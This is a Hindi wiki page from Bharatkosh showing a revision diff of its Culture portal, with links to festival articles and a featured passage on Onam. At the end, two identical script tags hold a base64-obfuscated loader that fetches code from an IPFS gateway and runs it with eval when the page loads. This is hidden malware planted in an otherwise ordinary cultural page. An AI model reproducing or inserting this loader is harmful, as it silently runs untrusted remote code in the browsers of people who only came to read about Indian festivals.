प्रांगण:मुखपृष्ठ/संस्कृति: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
No edit summary
No edit summary
Line 36: Line 36:
{| width="100%" cellpadding="0" cellspacing="0"
{| width="100%" cellpadding="0" cellspacing="0"
|-valign="top"
|-valign="top"
| class="bg64" style="border:1px solid #e8d79c;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; width:50%" valign="top" | <div style="padding-left:8px; background:#f5e6b2; border:thin solid #e8d79c;">'''कुछ लेख'''</div>
* [[कृष्ण जन्माष्टमी]]
* [[दीपावली]]
* [[पोंगल]]
* [[ईद-उल-फ़ितर]]
* [[रमज़ान]]
* [[मोहर्रम]]
* [[बसंत पंचमी]]
* [[नवरात्र]]
* [[महावीर जयन्ती]]
* [[करवा चौथ]]
* [[आभूषण]]
* [[होली]]
* [[ईद उल ज़ुहा]]
* [[वैशाखी]]
* [[लोहड़ी]]
* [[ओणम]]
* [[विजय दशमी]]
* [[जगन्नाथ रथयात्रा]]
* [[मेंहदी]]
* [[कुम्भ मेला]]
* [[चूड़ी]]
* [[पायल]]
* [[गंगा दशहरा]]
* [[गणेश चतुर्थी]]
|  
|  
{{robelbox|theme=1|title=संस्कृति श्रेणी वृक्ष}}
{{robelbox|theme=1|title=संस्कृति श्रेणी वृक्ष}}

Revision as of 13:19, 17 November 2016

right|90px

  • यहाँ हम भारतीय संस्कृति से संबंधित जानकारी प्राप्त कर सकते हैं। भारतीय संस्कृति विश्व की प्रधान संस्कृति है, यह कोई गर्वोक्ति नहीं, बल्कि वास्तविकता है। भारतीय संस्कृति को देव संस्कृति कहकर सम्मानित किया गया है।
  • भारत के अनेकों धर्मों तथा परम्पराओं और उनका आपस में संमिश्रण ने विश्व के अनेकों स्थानों को भी प्रभावित किया है। हजारों वर्षों से भारत की सांस्कृतिक प्रथाओं, भाषाओं, रीति-रिवाजों आदि में विविधता बनी रही है जो कि आज भी विद्यमान है, और यही अनेकता में एकता भारतीय संस्कृति की महान विशेषता है।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...
  1. REDIRECTसाँचा:विशेष2
विशेष आलेख
right|120px|right|होली के विभिन्न दृश्य |link=होली
चयनित लेख
  • ओणम, केरल का एक प्रमुख त्योहार है। जिस तरह उत्तरी भारत में दशहरे का त्योहार बड़ी धूमधाम से मनाया जाता है, उसी प्रकार केरल में ओणम का त्योहार मनाया जाता है।
  • वास्तव में ओणम का अर्थ है "श्रावण"। श्रावण के महीने में मौसम बहुत खुशगवार हो जाता है, चारों तरफ़ हरियाली छा जाती है, रंग–बिरंगे फूलों की सुगन्ध से सारा चमन महक उठता है। नारियल और ताड़ के वृक्षों से छाए हुए जल से भरे तालाब बहुत सुन्दर लगते हैं।
  • ओणम को मलयाली कैलेण्डर कोलावर्षम के पहले महीने 'छिंगम' यानी अगस्त-सितंबर के बीच मनाने की परंपरा चली आ रही है। ओणम के पहले दिन जिसे अथम कहते हैं, से ही घर-घर में ओणम की तैयारियां प्रारंभ हो जाती है और दस दिन के इस उत्सव का समापन अंतिम दिन जिसे 'थिरुओनम' या 'तिरुओणम' कहते हैं, को होता है।
  • केरल की सरकार भी ओणम पर्व को प्रायोजित करती है। नौका दौड़ व अन्य महोत्सव सरकार के संरक्षण में मनाए जाते हैं। सरकार ओणम से सम्बन्धित पर्यटन सप्ताह भी आयोजित करती है। जिसमें केरल की सांस्कृतिक धरोहर देखते ही बनती है। .... और पढ़ें
संस्कृति श्रेणी वृक्ष
चयनित चित्र

[[चित्र:Life-In-Nagaland-4.jpg|220px|नागालैंड की संस्कृति|center]]


संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>